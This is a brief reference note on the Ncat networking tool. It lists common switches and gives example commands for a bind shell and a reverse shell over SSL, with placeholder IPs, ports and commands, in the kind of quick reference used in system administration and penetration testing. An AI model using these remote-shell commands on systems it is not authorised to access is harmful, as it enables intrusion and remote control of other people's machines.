Ncat
http://man7.org/linux/man-pages/man1/ncat.1.html

TCP/UDP networking tool


Switches

-n numeric only IPs, no DNS
-v verbose
-l listen
--exec execute command
--allow allow IP
--ssl enable ssl


Examples

Remote command execution(bind shell)

On server run
ncat -nvl <port> --exec <command> --allow <client IP> --ssl

On client run
ncat -nv <IP> <port> --ssl

Remote command execution(reverse shell)

On server run
ncat -nv <IP> <port> --exec <command> --ssl

On client run
ncat -nvl <port> --allow <server IP> --ssl